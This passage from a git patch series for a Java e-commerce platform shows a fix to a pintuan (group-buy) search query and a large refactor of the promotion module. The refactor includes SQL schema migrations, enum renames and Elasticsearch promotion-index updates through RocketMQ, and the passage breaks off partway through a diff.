From 3ac28ac2181b2fb91a966e27fdaf0baf692de96e Mon Sep 17 00:00:00 2001 From: yangkang Date: Mon, 6 Dec 2021 15:18:03 +0800 Subject: [PATCH 1/4] =?UTF-8?q?=E4=BF=AE=E5=A4=8Dstore/promotion/pintuan?= =?UTF-8?q?=E8=BF=99=E4=B8=AA=E6=8E=A5=E5=8F=A3=E4=B8=AD=EF=BC=8C=E8=8E=B7?= =?UTF-8?q?=E5=8F=96=E6=8B=BC=E5=9B=A2=E5=88=97=E8=A1=A8=E6=9F=A5=E8=AF=A2?= =?UTF-8?q?bug=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/promotion/entity/vos/PintuanSearchParams.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java index 79da0d01..ecff3c29 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java @@ -55,7 +55,7 @@ public class PintuanSearchParams { queryWrapper.like("store_name", storeName); } if (!StringUtils.isEmpty(storeId)) { - queryWrapper.eq("store_id", storeName); + queryWrapper.eq("store_id", storeId); } if (startTime != null) { queryWrapper.ge("start_time", new Date(startTime)); From d9d19f8cbd026cc96a82bd4569c6373b95dcf487 Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 10 Dec 2021 20:15:03 +0800 Subject: [PATCH 2/4] =?UTF-8?q?=E9=87=8D=E6=9E=84=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E4=BF=83=E9=94=80=E6=A8=A1=E5=9D=97=E3=80=82=E7=A7=BB=E9=99=A4?= =?UTF-8?q?=E4=BF=83=E9=94=80=E7=9B=B8=E5=85=B3=E7=9A=84mongo?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/li_promotions.sql | 38 ++ .../CouponBuyerController.java | 11 +- .../KanjiaGoodsActivityBuyerController.java | 4 +- .../promotion/PintuanBuyerController.java | 14 +- .../promotion/PointsGoodsBuyerController.java | 5 +- .../impl/RegisteredCouponActivityExecute.java | 4 +- .../lili/event/impl/StockUpdateExecute.java | 15 +- .../lili/listener/GoodsMessageListener.java | 70 ++- .../promotion/PromotionEverydayExecute.java | 192 +------- .../PromotionTimeTriggerExecutor.java | 47 -- framework/pom.xml | 6 + .../java/cn/lili/common/enums/ResultCode.java | 12 +- .../config/ElasticsearchConfig.java | 6 + .../goods/service/GoodsSkuService.java | 16 + .../goods/serviceimpl/GoodsServiceImpl.java | 2 +- .../serviceimpl/GoodsSkuServiceImpl.java | 50 +- .../modules/member/service/MemberService.java | 10 + .../member/serviceimpl/MemberServiceImpl.java | 15 + .../order/cart/entity/vo/FullDiscountVO.java | 9 + .../cart/render/impl/CheckDataRender.java | 8 +- .../cart/render/impl/CommissionRender.java | 8 +- .../order/cart/render/impl/CouponRender.java | 4 +- .../cart/render/impl/FullDiscountRender.java | 64 +-- .../order/cart/service/CartServiceImpl.java | 27 +- .../entity/dto/AfterSalePriceDetailDTO.java | 4 +- .../order/entity/dto/OrderSearchParams.java | 23 +- .../order/order/mapper/OrderMapper.java | 11 + .../order/order/service/OrderService.java | 40 ++ .../order/serviceimpl/OrderServiceImpl.java | 73 ++- .../modules/promotion/entity/dos/Coupon.java | 43 +- .../promotion/entity/dos/CouponActivity.java | 6 +- .../entity/dos/CouponActivityItem.java | 2 + .../promotion/entity/dos/FullDiscount.java | 4 +- .../promotion/entity/dos/KanjiaActivity.java | 4 +- .../entity/dos/KanjiaActivityGoods.java | 10 +- .../promotion/entity/dos/MemberCoupon.java | 7 +- .../modules/promotion/entity/dos/Pintuan.java | 4 +- .../promotion/entity/dos/PointsGoods.java | 18 +- .../promotion/entity/dos/PromotionGoods.java | 59 ++- .../modules/promotion/entity/dos/Seckill.java | 34 +- .../promotion/entity/dos/SeckillApply.java | 3 +- ...BasePromotion.java => BasePromotions.java} | 35 +- .../entity/dto/CouponActivityDTO.java | 2 + .../entity/dto/KanjiaActivityGoodsDTO.java | 4 +- .../entity/dto/PromotionGoodsDTO.java | 5 +- ...um.java => PromotionsApplyStatusEnum.java} | 4 +- ...Enum.java => PromotionsScopeTypeEnum.java} | 6 +- ...tusEnum.java => PromotionsStatusEnum.java} | 4 +- .../vos/BasePromotionsSearchParams.java | 64 +++ .../entity/vos/CouponActivityItemVO.java | 2 + .../entity/vos/CouponActivityVO.java | 2 + .../entity/vos/CouponSearchParams.java | 136 ++--- .../promotion/entity/vos/CouponVO.java | 14 +- .../entity/vos/FullDiscountSearchParams.java | 61 +-- .../entity/vos/PintuanSearchParams.java | 70 +-- .../promotion/entity/vos/PintuanVO.java | 7 + .../entity/vos/PointsGoodsSearchParams.java | 53 +- .../vos/PromotionGoodsSearchParams.java | 64 +-- .../entity/vos/SeckillSearchParams.java | 81 +-- .../vos/kanjia/KanjiaActivityGoodsParams.java | 36 +- .../kanjia/KanjiaActivitySearchParams.java | 5 +- .../mapper/PromotionGoodsMapper.java | 15 +- .../service/AbstractPromotionsService.java | 130 +++++ .../service/CouponActivityItemService.java | 7 + .../service/CouponActivityService.java | 29 +- .../promotion/service/CouponService.java | 91 +--- .../service/FullDiscountService.java | 57 +-- .../service/KanjiaActivityGoodsService.java | 12 +- .../service/MemberCouponService.java | 15 + .../promotion/service/PintuanService.java | 84 +--- .../promotion/service/PointsGoodsService.java | 50 +- .../service/PromotionGoodsService.java | 108 ++-- .../promotion/service/PromotionService.java | 11 - .../service/SeckillApplyService.java | 19 +- .../promotion/service/SeckillService.java | 92 +--- .../AbstractPromotionsServiceImpl.java | 276 +++++++++++ .../CouponActivityItemServiceImpl.java | 10 + .../CouponActivityServiceImpl.java | 211 ++++---- .../serviceimpl/CouponServiceImpl.java | 453 +++++++---------- .../serviceimpl/FullDiscountServiceImpl.java | 311 ++++-------- .../KanjiaActivityGoodsServiceImpl.java | 198 +++----- .../KanjiaActivityLogServiceImpl.java | 4 +- .../KanjiaActivityServiceImpl.java | 30 +- .../serviceimpl/MemberCouponServiceImpl.java | 91 ++-- .../serviceimpl/PintuanServiceImpl.java | 441 ++++++----------- .../PointsGoodsCategoryServiceImpl.java | 6 +- .../serviceimpl/PointsGoodsServiceImpl.java | 336 ++++++------- .../PromotionGoodsServiceImpl.java | 371 ++++++-------- .../serviceimpl/PromotionServiceImpl.java | 465 +++--------------- .../serviceimpl/SeckillApplyServiceImpl.java | 287 +++++------ .../serviceimpl/SeckillServiceImpl.java | 365 +++++--------- .../promotion/tools/PromotionTools.java | 105 ++-- .../search/service/EsGoodsIndexService.java | 17 +- .../search/service/EsGoodsSearchService.java | 8 + .../serviceimpl/CustomWordsServiceImpl.java | 17 +- .../serviceimpl/EsGoodsIndexServiceImpl.java | 83 ++-- .../serviceimpl/EsGoodsSearchServiceImpl.java | 13 + .../java/cn/lili/mybatis/util/PageUtil.java | 22 + .../cn/lili/rocketmq/tags/GoodsTagsEnum.java | 8 + .../other/CustomWordsController.java | 5 +- .../CouponActivityManagerController.java | 11 +- .../promotion/CouponManagerController.java | 19 +- .../FullDiscountManagerController.java | 21 +- .../KanJiaActivityGoodsManagerController.java | 3 +- .../promotion/PintuanManagerController.java | 35 +- .../PointsGoodsManagerController.java | 40 +- .../promotion/PromotionManagerController.java | 14 +- .../promotion/SeckillManagerController.java | 34 +- .../src/main/resources/application.yml | 1 + .../cn/lili/test/elasticsearch/EsTest.java | 21 +- .../cn/lili/test/promotion/CouponTest.java | 33 +- .../lili/test/promotion/FullDiscountTest.java | 22 +- .../test/promotion/PromotionPriceTest.java | 21 +- .../cn/lili/test/promotion/SeckillTest.java | 6 +- .../promotion/CouponStoreController.java | 29 +- .../FullDiscountStoreController.java | 27 +- .../promotion/PintuanStoreController.java | 45 +- .../promotion/SeckillStoreController.java | 11 +- 118 files changed, 2998 insertions(+), 3885 deletions(-) create mode 100644 DB/li_promotions.sql rename buyer-api/src/main/java/cn/lili/controller/{member => promotion}/CouponBuyerController.java (89%) rename framework/src/main/java/cn/lili/modules/promotion/entity/dto/{BasePromotion.java => BasePromotions.java} (53%) rename framework/src/main/java/cn/lili/modules/promotion/entity/enums/{PromotionApplyStatusEnum.java => PromotionsApplyStatusEnum.java} (81%) rename framework/src/main/java/cn/lili/modules/promotion/entity/enums/{CouponScopeTypeEnum.java => PromotionsScopeTypeEnum.java} (79%) rename framework/src/main/java/cn/lili/modules/promotion/entity/enums/{PromotionStatusEnum.java => PromotionsStatusEnum.java} (87%) create mode 100644 framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java create mode 100644 framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java create mode 100644 framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql new file mode 100644 index 00000000..9499b56a --- /dev/null +++ b/DB/li_promotions.sql @@ -0,0 +1,38 @@ + +ALTER TABLE li_coupon DROP COLUMN promotion_status; + +ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; +ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; + +ALTER TABLE li_full_discount DROP COLUMN promotion_status; +ALTER TABLE li_full_discount ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; + +ALTER TABLE li_kanjia_activity_goods DROP COLUMN promotion_status; +ALTER TABLE li_kanjia_activity_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_kanjia_activity_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL; + +ALTER TABLE li_pintuan DROP COLUMN promotion_status; +ALTER TABLE li_pintuan ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; + +ALTER TABLE li_points_goods DROP COLUMN promotion_status; +ALTER TABLE li_points_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_points_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; +ALTER TABLE li_points_goods ADD `thumbnail` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '缩略图'; +ALTER TABLE li_points_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; +ALTER TABLE li_points_goods ADD `goods_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '货品名称'; + +ALTER TABLE li_promotion_goods DROP COLUMN promotion_status; +ALTER TABLE li_promotion_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_promotion_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; +ALTER TABLE li_promotion_goods ADD `points` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '兑换积分'; +ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; + +ALTER TABLE li_seckill DROP COLUMN promotion_status; +ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/CouponBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java similarity index 89% rename from buyer-api/src/main/java/cn/lili/controller/member/CouponBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java index c4b40b0e..f014f644 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/CouponBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; @@ -6,6 +6,8 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -51,7 +53,9 @@ public class CouponBuyerController { @GetMapping @ApiOperation(value = "获取可领取优惠券列表") public ResultMessage> getCouponList(CouponSearchParams queryParam, PageVO page) { - IPage canUseCoupons = couponService.getCanReceiveCoupons(queryParam, page); + queryParam.setPromotionStatus(PromotionsStatusEnum.START.name()); + queryParam.setGetType(CouponGetEnum.FREE.name()); + IPage canUseCoupons = couponService.pageVOFindAll(queryParam, page); return ResultUtil.data(canUseCoupons); } @@ -84,8 +88,7 @@ public class CouponBuyerController { @GetMapping("/receive/{couponId}") public ResultMessage receiveCoupon(@NotNull(message = "优惠券ID不能为空") @PathVariable("couponId") String couponId) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); - memberCouponService.checkCouponLimit(couponId, currentUser.getId()); - memberCouponService.receiveCoupon(couponId, currentUser.getId(), currentUser.getNickName()); + memberCouponService.receiveBuyerCoupon(couponId, currentUser.getId(), currentUser.getNickName()); return ResultUtil.success(); } diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index e1c70780..a0445108 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -9,7 +9,7 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.kanjia.*; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityLogService; @@ -52,7 +52,7 @@ public class KanjiaGoodsActivityBuyerController { @ApiOperation(value = "分页获取砍价商品") public ResultMessage> kanjiaActivityGoodsPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO page) { // 会员端查询到的肯定是已经开始的活动商品 - kanjiaActivityGoodsParams.setPromotionStatus(PromotionStatusEnum.START.name()); + kanjiaActivityGoodsParams.setPromotionStatus(PromotionsStatusEnum.START.name()); kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); return ResultUtil.data(kanJiaActivityGoodsService.kanjiaGoodsVOPage(kanjiaActivityGoodsParams, page)); diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java index 9ec1ed22..84fe7c16 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java @@ -1,12 +1,11 @@ package cn.lili.controller.promotion; -import cn.hutool.core.date.DateUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; @@ -40,14 +39,13 @@ public class PintuanBuyerController { @ApiOperation(value = "获取拼团商品") @GetMapping - public ResultMessage> getPintuanCategory(String goodsName, String categoryPath, PageVO pageVo) { + public ResultMessage> getPintuanCategory(String goodsName, String categoryPath, PageVO pageVo) { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setGoodsName(goodsName); searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); - searchParams.setPromotionStatus(PromotionStatusEnum.START.name()); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); searchParams.setCategoryPath(categoryPath); - searchParams.setEndTime(DateUtil.date().getTime()); - return ResultUtil.data(promotionGoodsService.getPromotionGoods(searchParams, pageVo)); + return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo)); } diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index 6bd0ee33..e4cd94d1 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -3,6 +3,7 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; @@ -35,8 +36,8 @@ public class PointsGoodsBuyerController { @GetMapping @ApiOperation(value = "分页获取积分商品") - public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsByPage = pointsGoodsService.getPointsGoodsByPage(searchParams, page); + public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); return ResultUtil.data(pointsGoodsByPage); } diff --git a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java index a6b7d6cf..ca198508 100644 --- a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java @@ -4,7 +4,7 @@ import cn.lili.event.MemberRegisterEvent; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.CouponActivityService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.springframework.beans.factory.annotation.Autowired; @@ -34,7 +34,7 @@ public class RegisteredCouponActivityExecute implements MemberRegisterEvent { public void memberRegister(Member member) { List couponActivities = couponActivityService.list(new LambdaQueryWrapper() .eq(CouponActivity::getCouponActivityType, CouponActivityTypeEnum.REGISTERED.name()) - .eq(CouponActivity::getPromotionStatus, PromotionStatusEnum.START.name())); + .eq(CouponActivity::getPromotionStatus, PromotionsStatusEnum.START.name())); couponActivityService.registered(couponActivities, member); } diff --git a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java index d87a1e77..2e5fd60e 100644 --- a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java @@ -15,6 +15,7 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.*; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; @@ -202,10 +203,10 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { switch (promotionTypeEnum) { case KANJIA: - cache.put(cacheKey, kanjiaActivityGoodsService.getKanJiaGoodsBySku(orderItem.getSkuId()).getStock().intValue()); + cache.put(cacheKey, kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(orderItem.getSkuId()).getStock()); return; case POINTS_GOODS: - cache.put(cacheKey, pointsGoodsService.getPointsGoodsVOByMongo(orderItem.getSkuId()).getActiveStock().intValue()); + cache.put(cacheKey, pointsGoodsService.getPointsGoodsDetailBySkuId(orderItem.getSkuId()).getActiveStock()); return; case SECKILL: case PINTUAN: @@ -303,14 +304,20 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { pointsGoodsService.updateById(pointsGoodsVO); this.mongoTemplate.save(pointsGoodsVO); } else { - PromotionGoods pGoods = promotionGoodsService.getPromotionGoods(promotionTypeEnum, orderItem.getPromotionId(), orderItem.getSkuId()); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionStatus(promotionTypeEnum.name()); + searchParams.setPromotionId(orderItem.getPromotionId()); + searchParams.setSkuId(orderItem.getSkuId()); + PromotionGoods pGoods = promotionGoodsService.getPromotionsGoods(searchParams); //记录需要更新的促销库存信息 promotionKey.add( PromotionGoodsService.getPromotionGoodsStockCacheKey( promotionTypeEnum, orderItem.getPromotionId(), orderItem.getSkuId()) ); - promotionGoods.add(pGoods); + if (pGoods != null) { + promotionGoods.add(pGoods); + } } } goodsSkus.add(goodsSku); diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 8738bf0c..76ad47e5 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -3,9 +3,9 @@ package cn.lili.listener; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ClassLoaderUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.event.GoodsCommentCompleteEvent; import cn.lili.modules.distribution.entity.dos.DistributionGoods; import cn.lili.modules.distribution.entity.dos.DistributionSelectedGoods; @@ -17,6 +17,7 @@ import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsCompleteMessage; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; +import cn.lili.modules.goods.entity.dto.GoodsSearchParams; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.BrandService; @@ -27,13 +28,16 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.service.FootprintService; import cn.lili.modules.member.service.GoodsCollectionService; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; -import cn.lili.modules.search.utils.EsIndexUtil; import cn.lili.modules.store.entity.dos.StoreGoodsLabel; import cn.lili.modules.store.service.StoreGoodsLabelService; import cn.lili.modules.store.service.StoreService; -import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; @@ -41,14 +45,11 @@ import lombok.extern.slf4j.Slf4j; import org.apache.rocketmq.common.message.MessageExt; import org.apache.rocketmq.spring.annotation.RocketMQMessageListener; import org.apache.rocketmq.spring.core.RocketMQListener; -import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Map; +import java.util.*; +import java.util.stream.Collectors; /** * 商品消息 @@ -122,16 +123,8 @@ public class GoodsMessageListener implements RocketMQListener { @Autowired private StoreGoodsLabelService storeGoodsLabelService; - /** - * rocketMq - */ @Autowired - private RocketMQTemplate rocketMQTemplate; - /** - * rocketMq配置 - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; + private PromotionGoodsService promotionGoodsService; @Override public void onMessage(MessageExt messageExt) { @@ -152,6 +145,12 @@ public class GoodsMessageListener implements RocketMQListener { log.error("生成商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); } break; + case UPDATE_GOODS_INDEX_PROMOTIONS: + this.updateGoodsIndexPromotions(new String(messageExt.getBody())); + break; + case DELETE_GOODS_INDEX_PROMOTIONS: + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, new String(messageExt.getBody())); + break; case UPDATE_GOODS_INDEX: try { String goodsIdsJsonStr = new String(messageExt.getBody()); @@ -226,6 +225,32 @@ public class GoodsMessageListener implements RocketMQListener { } } + private void updateGoodsIndexPromotions(String promotionsJsonStr) { + try { + log.info("更新商品索引促销信息: {}", promotionsJsonStr); + JSONObject jsonObject = JSONUtil.parseObj(promotionsJsonStr); + BasePromotions promotions = (BasePromotions) jsonObject.get("promotions", + ClassLoaderUtil.loadClass(jsonObject.get("promotionsType").toString())); + String esPromotionKey = jsonObject.get("esPromotionKey").toString(); + if (PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType())) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(promotions.getId()); + List promotionGoodsList = this.promotionGoodsService.listFindAll(searchParams); + this.goodsIndexService.updateEsGoodsIndexByList(promotionGoodsList, promotions, esPromotionKey); + } else if (PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name().equals(promotions.getScopeType())) { + GoodsSearchParams searchParams = new GoodsSearchParams(); + searchParams.setCategoryPath(promotions.getScopeId()); + List goodsSkuByList = this.goodsSkuService.getGoodsSkuByList(searchParams); + List skuIds = goodsSkuByList.stream().map(GoodsSku::getId).collect(Collectors.toList()); + this.goodsIndexService.updateEsGoodsIndexPromotions(skuIds, promotions, esPromotionKey); + } else if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { + this.goodsIndexService.updateEsGoodsIndexAllByList(promotions, esPromotionKey); + } + } catch (Exception e) { + log.error("生成商品索引促销信息执行异常,参数信息 {}", promotionsJsonStr); + } + } + /** * 更新商品索引 * @@ -415,13 +440,10 @@ public class GoodsMessageListener implements RocketMQListener { goodsSku.setBuyCount(buyCount); goodsSkuService.update(goodsSku); - //修改规格索引,发送mq消息 - Map updateIndexFieldsMap = EsIndexUtil.getUpdateIndexFieldsMap( - MapUtil.builder().put("id", goodsCompleteMessage.getSkuId()).build(), - MapUtil.builder().put("buyCount", buyCount).build()); - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_FIELD.name(); - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(updateIndexFieldsMap), RocketmqSendCallbackBuilder.commonCallback()); - goodsIndexService.updateIndex(goodsCompleteMessage.getSkuId(), new EsGoodsIndex().setBuyCount(buyCount)); + 